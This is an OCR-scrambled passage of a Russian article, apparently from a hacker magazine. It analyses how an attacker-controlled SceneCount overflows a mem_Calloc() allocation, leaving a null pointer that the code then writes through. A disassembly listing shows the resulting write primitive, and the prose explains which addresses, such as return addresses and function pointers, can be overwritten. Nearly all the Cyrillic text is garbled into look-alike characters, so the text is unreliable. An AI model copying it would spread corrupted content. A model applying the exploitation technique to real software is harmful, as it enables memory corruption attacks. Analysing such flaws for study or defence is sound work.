SceneCount Tak >xe BoimonHsiercst. Kakue, ojHako, akkypaTHble porpaMmuctsl! Llensie aBe npoBepkn
1 Bce HE B Temy!!!

A Bor panbie... SceneCount mepexaercs (yHkumu BbigeneHus namsata mem Calloc(),
HHTEpIIpETHpYIOIIeil ee Kak Oe33HaKOBYIO IEPEMEHHYIO, a, IOCKOJIbKY, 3HAKOBBIH OWT — caMblif
cTapmuid OuT 4mcna, Mbl 3anpammBaeM y ¢yHkuun mem Calloc() kak MuHumyM 2 ['Gaiita mamsiTy,
KOTOpBIE, €CTECTBEHHO, HE BBIJENSIOTCSA, HO TPOBEPKa Ha YCIEIIHOCTh BBIICICHHS OTCYTCTBYET,
IIOCKOJIBKY, IPOTPaMMHUCTEI, IO CBOEH HAMBHOCTH IIOJIATalOT, YTO IaMATh — PECypc HeucuyepliaeMblil.
Ho onwm 3a6my>xmarorcs u B HameM cirydae mem_Calloc() Bo3BparaeT HOJb.

OcraeTcst TONBKO pa3o0paThesi, YTO AENAET MPOrpaMMa C MONYyYEHHBIM yKasareleM. A aenaet
OHa C HUM cBeayniee (JUIsl KpaTKOCTH IU3acCeMOJICPHBIN JINCTHHT IIEPeBEIeH B IICEBIOKON):

.text:30087AFA mov eax, [esi+4] ; SceneCount

.text:30087AFD mov ecx, [esi] ; returned pointer
.text:30087AFF lea eax, [eaxteax*2] ; EAX := EAX*3

.text:30087B02 lea eax, [ecxteax*4] ; EAX := EAX*4 + pointer
.text:30087B05 mov ecx, [ebptarg 8] ; ECX := FrameCounter (mmam FC)
.text:30087B08 sub ecx, [eax-0Ch] ; ECX := FC-*((SC-1)*12+pointer)
.text:30087BOB mov [eax-4], ecx ; *(SC*1l2+pointer-4) = ECX

JIncTHHT 6 nceBAOKO (PYHKIMH, IO3BOJISIOIIEH XaKkepy Nepe3anuchiBaTh JIO0YI0 T4elHKy
naMsATH

ITockoJbKyY, B HallleM ciydae pointer, Bo3BpaiieHHbId ¢yHkuueii mem Calloc(), paBeH Hyto,
MBI mojydaeM cienyrommid mnceBmokon: *(SceneCount*12-4) = FrameCount-*((SceneCount-1)*12).
VYuuteiBasg, uto mepemeHHsle SceneCount um FrameCount mpexacraBissior co0oil TBOWHBIE CIIOBa,
MOJIHOCTBIO KOHTPOJHMPYEMbIE XaKepoMm, T[OAOupas HuX pa3iHyHbIe COYETAHHS, MbI MOXEM
MOIU(UIMPOBATE PA3IUYHBIC STUYCHKH IMaMATH, XOTh U HEe 0€3 OrpaHWYCHUI C YyIeTOM OTpaHWICHUH,
HaJlaraeMbIX JaHHOH (OPMYIIOH. A 9TO 3TO 32 OTpaHUICHUS?

Ilytem HecnmoxHbIX mpeoOpazoBanuii momydaem: (0x80000000 | ((address +4)/12)), To ecTh
MOXXHO MOJIU(HUIMPOBATh TOJBKO TE aJpeca, KOTOpPhIC MOCIe J00aBICHHS K HHUM YEThIpeX OalT
nensitest Ha 12 0e3 ocrarka. He Takoe yX M )KE€CTOKOE OrpaHWuYEHHE W B MOJBIACTHOW HaM o0nacTu



naMsTH 0e3 TpyZa MOXKHO OTHICKAaTh Kydy MHTEPECHBIX yKazaTedeld Ha (QpyHKUUH (Hanmpumep, aJpecoB
BO3Bpara). EcrecTBeHHO, peub HIET TOJIBKO 0 MOAU(UKAIMK TeX 00JIacTeil, 4TO JOCTYIIBI Ha 3aIHCh —
CTEK, Ky4a, CeKIUs JAaHHBIX, a TaK )K€ HEKOTOpBIE CIYy)KEOHBIE CTPYKTYpPBI ONEPAIMOHHONW CHCTEMBI,
pacnoyioXeHHbIe B HIDKHEH IOJIOBUHE aIpecHoro mnpocrpaHcrBa. Kopoue — riaBHOe (aHTa3Hio
HMETB, a 32 peann3alueil aTaky A€o He cTaHeT!



